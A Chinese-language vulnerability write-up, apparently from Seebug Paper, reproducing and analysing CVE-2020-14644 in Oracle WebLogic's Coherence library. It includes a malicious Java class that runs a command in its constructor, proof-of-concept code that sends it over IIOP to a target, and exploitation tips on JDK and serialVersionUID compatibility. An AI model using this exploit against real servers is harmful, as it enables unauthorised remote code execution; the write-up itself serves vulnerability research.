作者:Sp4rr0vv@ 白帽匯安全研究院
核對:r4v3zn@ 白帽匯安全研究院
本文為作者投稿,Seebug Paper 期待你的分享,凡經采用即有禮品相送!
投稿郵箱:paper@seebug.org
概述
2020 年 7 月 15 日,Oracle 發布大量安全修復補丁,其中 CVE-2020-14644 漏洞被評分為 9.8 分,影響版本為 12.2.1.3.0、12.2.1.4.0, 14.1.1.0.0 。本文基于互聯網公開的 POC 進行復現、分析,最終實現無任何限制的 defineClass + 實例化,進行實現 RCE。
前置知識
JDK 的 ClassLoader 類中有個方法是 defindClass ,可以根據類全限定名和類的字節數組,加載一個類到 jvm 中并返回對應的 Class 對象(隨帶一提,這種加載類的方式不會執行類初始化)。

所以只要參數 name(類名)和 b (類文件的二進制數據)可控,理論上我們可以加載任何類,需要注意的一點是,這個類名 name 一定要和這個類字節數組 b 中對于的類名一致才行,不然就是一個 NoClassDefFoundError


復現
環境 - Weblogic 12.2.1.4.0 - jdk 1.8.0_112 - Windows 10
首先準備一個帶包名的惡意類,在構造函數中寫入惡意代碼
package com;
import java.io.IOException;
public class EvilObj {
public EvilObj() {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException var1) {
var1.printStackTrace();
}
}
}
POC
ClassIdentity classIdentity = new ClassIdentity( EvilObj.class);
ClassPool cp = ClassPool.getDefault();
CtClass ctClass = cp.get(EvilObj.class.getName());
ctClass.replaceClassName(EvilObj.class.getName(), EvilObj.class.getName() + "$" + classIdentity.getVersion());
RemoteConstructor constructor = new RemoteConstructor(
new ClassDefinition(classIdentity, ctClass.toBytecode()),
new Object[] {}
);
// 發送 IIOP 協議數據包
Context context = getContext("iiop://ip:port");
context.rebind("hello",constructor);
復現結果:

以下為簡化版調用棧:
exec:347, Runtime (java.lang)
<init>:14, SimpleMapEntry$7E80A4E3098E7FB7B109472C77D1D573 (com.tangosol.util)
newInvokeSpecial__L:-1, 1565249093 (java.lang.invoke.LambdaForm$DMH)
reinvoke:-1, 1641862114 (java.lang.invoke.LambdaForm$BMH)
invoker:-1, 222055923 (java.lang.invoke.LambdaForm$MH)
invokeExact_MT:-1, 1593074896 (java.lang.invoke.LambdaForm$MH)
invokeWithArguments:627, MethodHandle (java.lang.invoke)
createInstance:149, ClassDefinition (com.tangosol.internal.util.invoke)
realize:142, RemotableSupport (com.tangosol.internal.util.invoke)
newInstance:122, RemoteConstructor (com.tangosol.internal.util.invoke)
readResolve:233, RemoteConstructor (com.tangosol.internal.util.invoke)
漏洞分析
先看下幾個關鍵的類的字段和構造函數,都是 coherence.jar 中的類
com.tangosol.internal.util.invoke.RemoteConstructor
com.tangosol.internal.util.invoke.ClassDefinition
com.tangosol.internal.util.invoke.ClassIdentity
com.tangosol.internal.util.invoke.RemotableSupport
com.tangosol.internal.util.invoke.ClassIdentity 的構造構造方法可以將 Class 作為參數,然后進行提取該類的一些特征信息,例如 package、BaseName、Version等信息,其中 Version 表示該類文件的內容 MD5 值,然后轉換為 Hex。



所以 getName() = package + "/" + baseName + "$" + version

com.tangosol.internal.util.invoke.ClassDefinition 中 classname 和 byte[] 都有了,而 RemoteConstructor 持有 ClassDefinition 類型的引用,RemotableSupport 繼承了 ClassLoader,具有加載類的功能。
最后看下關鍵的幾個調用棧:


重點在 RemotableSupport.realize 中進行處理,其中首先流入 this.registerIfAbsent(constructor.getDefinition()) 中。

在 RemotableSupport 中定義了 Map 類型 f_mapDefinitions 的變量進行充當緩存作用。

首先是每次調用 realize 時會先在緩存中查找 ClassDefinition

而 ClassIdentity 重寫了equals方法,所以如果惡意類的內容沒有什么變化的話,會將 Class 對應的 ClassIdentity 在第一次使用時的 id 作為 key,內容作為 value 存入緩存,之后每次都會返回第一次加的 Class 的 name 的 ClassDefinition。

執行 this.registerIfAbsent(constructor.getDefinition()) 之后通過 ClassDefinition.getRemotableClass 進行獲取 m_clz,第一次流入時內容值為 null (其中不僅是因為在 ClassDefinition 的構造函數中沒有為該字段賦值的語句,更重要的是這個字段是 transient 修飾的),然后通過調用 defineClass 進行加載惡意類字節碼。



由于 RemotableSupport 繼承了 ClassLoader,所以它的 defineClass 就是調用了父類的 defineClass 來加載類,但是有意思的是他所生成類名的邏輯,是前面所說的 ClassIdentity.getname() = package + "/" + baseName + "$" + version,所以 ClassIdentity 中的字節數組 byte[] 中的對應的 Class 的類名必須為 package + "." + baseName + "$" + version,否則可能會面臨加載失敗的問題。

還有一個有意思的地方是 RemotableSupport.defineClass 這個函數所返回的是一個泛型

還剛好是 ClassDefinition.setRemotableClass 的參數類型一致
這意味著,這個ClassDefinition中的類字節數組byte[]內容不需要進行繼承Remotable

而且顯而易見,ClassDefinition.setRemotableClass 的作用就是為ClassDefinition 的兩個 transient 字段賦值

這要求ClassDefinition所代表的類的構造函數必須只有一個,參數有無,沒有任何影響,m_mhCtor字段的類型為MethodHandle,是 JDK7 的新特性,是另一套反射 api 中的類,在 ClassDefinition 這個類中對應于構造函數。
當流入 ClassDefinition.createInstance 后會進行調用構造方法將 aoArgs 作為參數進行實例化對象,由于我們的惡意代碼是寫在構造方法中的,所以當實例化之后會進行執行惡意代碼。

實際利用
綜述,整體的思路為,構造一個帶有包名類,惡意代碼寫進構造函數中就行,然后通過 javassist 進行動態修改類名,將原類名追加 $ 和 version 值,在實戰利用中可能會出現以下問題。
為啥要帶包名?
因為ClassIdentity的構造函數中有下面這個鏈式調用,不帶包名getPackage()會返回null,再往下調用就會空指針異常

Class 版本問題
在利用的過程中常常會出現,由于 JDK 版本問題無法正常利用問題。
- 可以通過在編譯獲取惡意類時加入
-source 1.6 -target 1.6參數指定編譯版本。 - 也可通過設置當前運行 jdk 版本調整為最低版本進行使用。
序列化 ID 問題
由于 Weblogic 版本的變化,coherence.jar 文件中的 serialVersionUID 可能會出現不一致的問題,通過分析測試得出以下結論 12.2.1.3.0 與 12.2.1.4.0、14.1.1.0.0 的 serialVersionUID 不同,以下為詳細測試的結果:
| coherence.jar | weblogic 版本 | 是否成功 |
|---|---|---|
| 12.2.1.3.0 | 12.2.1.3.0 | 成功 |
| 12.2.1.3.0 | 12.2.1.4.0 | 失敗 |
| 12.2.1.3.0 | 14.1.1.0.0 | 失敗 |
| 12.2.1.4.0 | 12.2.1.3.0 | 失敗 |
| 12.2.1.4.0 | 12.2.1.4.0 | 成功 |
| 12.2.1.4.0 | 14.1.1.0.0 | 成功 |
| 14.1.1.0.0 | 12.2.1.3.0 | 失敗 |
| 14.1.1.0.0 | 12.2.1.4.0 | 成功 |
| 14.1.1.0.0 | 14.1.1.0.0 | 成功 |
該問題可通過 URLClassLoader 進行動態加載處理以下為部分核心代碼(摘自 weblogic-framework):


參考
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1284/



